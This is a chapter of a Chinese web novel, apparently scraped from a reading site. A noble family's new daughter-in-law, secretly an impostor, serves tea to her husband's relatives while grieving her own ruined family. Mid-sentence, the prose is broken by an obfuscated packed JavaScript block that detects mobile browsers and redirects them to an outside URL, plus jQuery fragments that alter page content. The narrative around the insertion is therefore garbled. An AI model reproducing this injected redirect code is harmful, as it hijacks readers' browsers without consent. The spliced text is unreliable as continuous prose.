默认冷灰
24号文字
方正启体

7. 敬茶

作者:春和粟本书字数:K更新时间:
    郦氏累世同居,子嗣昌旺的家族,老宅经过扩建,现如今几乎占了大半的永宁坊。


    现今的魏国公府,是当年郦景文荣封国公时,圣上赏赐的宅子,恰巧与郦氏的老宅武昌侯府毗邻。


    郦景文娶一妻纳两妾,共育六子四女。


    郦隐的父亲是长子,他与老二郦康、老六郦赓,一母同胞,乃郦景文正妻柳氏嫡出;三子、四子、五子是两位妾室所生。


    其中二子早逝;三子不走仕途,辅助堂叔打理族中庶务;其他两位俱在外任职,此次郦隐与陆柔然成亲,俱因路途遥远,假日不足未回来。


    两位夫人也都陪同在侧,现居上任之地。


    郦隐这辈堂兄弟十二人,姐妹七人。


    比起陆家简单的人口关系,郦家委实称得上大家族。


    探微她们进正厅时,郦隐这辈的兄弟姐妹,以及下一辈的侄子侄女俱已到齐,热热闹闹小二十口人,围绕着郦景文夫妻。


    所谓承欢之乐,应当就是如此吧。


    “柔儿来了。”太夫人一看到探微,立即朝她招手,“先不忙敬茶,你父亲母亲,叔叔们都还未过来,先来认识一下你的妹妹、妯娌们。”


    “母亲您叫沁儿什么?”郦澜皱眉,“沁儿怎会不认识她的表哥、表弟、表妹们。”


    话音未落,满室寂静。


    探微不留痕迹的环视一圈,在场之人有一个算一个,俱低眉搭眼。


    太夫人则微微一怔,须臾,她按按自己额头,笑着开口打破静到诡异的气氛。


    “澜儿说的是,瞧瞧,你母亲是真的老糊涂了。”


    “母亲又乱说。”郦澜笑嗔着来到太夫人身侧坐下,如同小时候那般依偎着母亲,“阿娘不老,阿娘身子骨且壮实着呢。”


    太夫人眼神深邃,她轻抚郦澜鬓发,温声低语:“是,阿娘不老,阿娘还得长长久久的陪着我的澜儿。”


    探微静立一旁,毫无预兆,被这一幕扎了个满心的痛。


    一股酸痛劲儿不请自来,涌上鼻腔,冲击的她几乎就要无法自己,哭出来。


    探微的小妹生来智力弱于常人,彼时母亲常道,家有痴儿,为人母的不敢老不敢病,只恨不能伴她到永久。


    那时父亲总劝母亲莫要多思虑,他说蔺家的孩子们定然百岁无忧。


    是啊,若蔺家一直好好的,蔺家的子孙定然也如郦家子孙这般,锦衣玉食安乐无忧。


    可天不遂人愿,有些人注定命途多舛,当祸从天降,百岁无忧终成枉念。


    若无灾无难,下个月就该为小妹办及笄礼了。


    记得小妹亡故那夜,母亲念念叨叨只一句话,“如此也好,如此也好。”


    八岁多的探微不懂母亲所言,后来掖庭六载磋磨,三年市井求存,时至今日还有什么想不透。


    百罪加身,抄家灭族,父母的羽翼折断,再无庇佑孩子的能力,他们这些心智正常的尚且被苦日折磨的奄奄一息,更逞论小妹。


    所以母亲说得极对,如此也好,阴阳相隔固然令人悲恸,小妹却不必受世间之苦,何尝不算一桩幸事。


    只是活着的人,无论何时想起故去的亲人,哀恸就像一只庞然凶兽,尖利的獠牙撕咬抓扯,痛得人逃不得抗不了死不成,只能一次次忍耐,等它撕咬够了,再默默舔舐血肉模糊的伤口。


    “长兄、长嫂来啦。呀!还有咱们的新郎。”


    赵氏声口略尖锐且欢实,探微浸泡在痛苦中的神思被她这一声换回,她压下满腔痛楚,深吸一口气,重新支起精神头,转头看了过去。


    天光妍和,日影初长,庭中枇杷树稍上鸟鸣啾啾,门口处郦廉与裴氏在前,郦隐落后两步之距。


    他今日穿了件缟羽色竹叶纹圆领长袍,雪白的交领中衣,衬得人仿若不食人间烟火。


    只是细细去看他那张脸,打量他的神情,他的眼底隐约有股难以压抑的伤感。


    父母之命,媒妁之言,这世上的婚姻多是如此。


    若人人都如郦郎君这般,娶妻如丧考妣,新婚夜弃妻不顾,那这世上该有多少悲哀的女子。


    郦太夫人的目光在郦隐身上停留少顷,继而声色不悦地诘问随在郦隐身后的小厮。


    “今早是谁在郎君跟前伺候?”


    广白惴惴行礼,答:“是奴婢。”


    “罚两日不得进食,醒醒神。”太夫人道,“郎君喜素色,平日里穿无妨,今日喜神还未走远,怎可穿得如此素净?为了喜日子做的那几身朱樱色衣裳呢,现今不穿,又待何时穿?”


    探微心思一动,垂了垂眼睫,余光看到那名小厮泥首,战兢道:“奴婢疏忽,太夫人恕罪。”


    “不管广白的事,是孙儿穿不惯那样夺目的颜色。”郦隐恭敬行礼,不疾不徐地解释。


    太夫人声色俱厉,“即便如此,身为奴婢,不行规劝之责,也该罚。”


    探微一面暗叹朱门之人心思复杂,一面牵了牵唇角,团出一融端庄又不失娇煦的笑脸。


    “祖母——”她徐徐开口,“沁儿能不能替广白求个情?既是郎君喜欢,沁儿也觉得郎君穿素色更俏,就让他穿嘛。所谓鬼神非人实亲,惟心诚是依。”


    太夫人闻言,眉梢眼角流露出慈祥的笑意,“沁儿既开口了。”她说,“祖母怎能不依。”


    话说着声调一转,指向广白,“还不快谢谢你们少夫人。”


    郦隐略略侧目,望向他的新婚夫人,不巧她也正好看过来,目光交接,她温和一笑。


    温良、宽容、贤惠尽含其中。


    ...


    说话间,人已全部到齐,该敬茶了。


    先敬坐于上首的敬郦景文夫妇,再敬郦廉与裴氏,然后给叔父叔母们见礼,最后认识平辈的兄嫂、弟弟妹妹们,以及小辈的侄子侄女。


    阮妈妈不动声色,细细打量在场众人,郦隐继母裴氏年约三十,容貌生得相当秀丽,穿着一腰碧绫裙,腰身绰约,淡雅如菊的气质自举手投间流淌,极有大家族贵妇的气韵。


    如此美好的女子,却配了郦廉这样一位老鳏夫。


    倒不是说郦廉粗鄙貌丑,认真论,郦廉生得极不错,年轻那会儿也曾因才貌名动上京,令多少贵女心生倾慕。


    他与周家嫡女自小青梅竹马,情投意合的婚姻,不止是一桩美谈,更羡煞无数人。


    难道用情过深的缘故吗,自郦隐母亲过世,虚虚十载,他竟仿佛老去二十余岁。


    美人迟暮,终究不如年轻皮囊赏心悦目,更何况郦廉这精气神,瞧着委实不大成,怪道两人成亲四年有余,膝下无一儿半女。


    莫不是貌合神离


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16719065|189391||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,或者郦廉不成事了吧。


    再看曹氏,容长脸,吊梢眼,瞧面相就不是个好相与的。


    曹氏出身不高,当初她嫁进郦府时父亲只是宣平县丞,按理说她一小门户庶女,万万攀不上郦家嫡次子。


    奈何郦康自小身子羸弱,当初娶妻实为冲喜。


    如此一来,但凡有点舔犊情深的人家,自是不会将女儿往火坑推,这才让她捡了这一高枝。


    也是她运气旺,嫁过来后郦二的身子竟逐日好转,又活了十年才过世,两人膝下有一子。


    现如今她是郦家二房主母,儿子和娘家兄弟都争气,一个任职于群牧司,一个在威军卫效命,她的尊贵早已遥胜当年。


    三夫人赵氏长了一副眉眼弯弯的笑脸,看起来倒是个和善好相与的,但先前听她与曹氏嚼舌根,便知这是根搅屎棍。


    她与曹氏一样出身小门户,不过却没曹氏运道好,郦庸是庶子且不走仕途,她在郦家靠左右逢源,混个好人缘。


    至于郦赓的夫人,那可了不得,出身京都谈,程国公家嫡幼女,从父亲到兄弟、子侄都是当朝股肱之臣,长嫂乃宁国长公主,据说姑嫂俩人关系极亲厚。


    绝对是整个国公府两辈媳妇里,万万不可得罪的贵人。


    待阮妈妈将众人一一审视完,探微也已将先前预备的见面礼一一呈送给大家。


    按大昱的风俗,新娘子进门第二日,要向夫家女眷送上女事做见面礼,以此来展示自己精湛的女工。


    陆柔然为郦家女眷准备的衣裳,俱是寸尺寸金的华光锦所制,款式皆是时下贵女所追捧的新样式。至于每个人的具体尺寸,都是婚前遣人来郦府一一量过的。


    曹氏的指尖拂过镶滚,赞道:“柔——沁儿好针指。”


    说罢,嘴角抽了抽。


    郦澜闻言,对她投去赞许之色,很是自豪地昂昂下巴,洋洋道:“那是自然,我沁儿自小手巧,就是十八道镶滚也不在话下。”


    “真真好巧一双手。”赵氏眼神一调,扬起笑脸,欢言奉承,“这光华锦细软,最是考验针指,瞧瞧这见缝不见针的手艺,怕是华裳坊的绣娘都比不上。”


    探微暗想,赵氏此言差矣,这些衣裳还真出自华裳坊绣娘们之手,像陆柔然这等荣华富贵作养的人,庸线懒针,几曾作女红。


    惭愧,面上还得替她应承下来,探微含蓄一笑。


    “二叔母,三叔母过誉了,衣裳穿着合身,别嫌弃沁儿这粗针劣技才好。”


    “怎会。”太夫人笑言,“你这些叔母、妯娌、妹妹们,都是些好相与、不爱挑眼的,往后处处你便知晓了。”


    太夫人话音落,立于曹氏身侧的女子,笑意盈盈地开了口,“还是祖母了解咱们。”


    探微偏头看过去,她穿春晨色对襟襦裙,圆圆的脸盘,一双顾盼生辉的眼眸,很是标致惹人喜的模样。


    此人是郦三郎之妻顾氏,她既是曹氏的儿媳妇,也是她的外甥女。


    可谓姨甥做婆媳,亲上加上。


    “赞赏的话头,三嫂嫂接得倒是赶趟儿。”


    说话的人年约十六七,肌肤白净娇嫩,容貌清丽,探微认得她,郦隐一母同胞的妹妹郦瑄。


    她声调中不乏嘲弄,顾氏却不急不恼,似是完全没听出来,仍旧笑意盈盈的模样。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)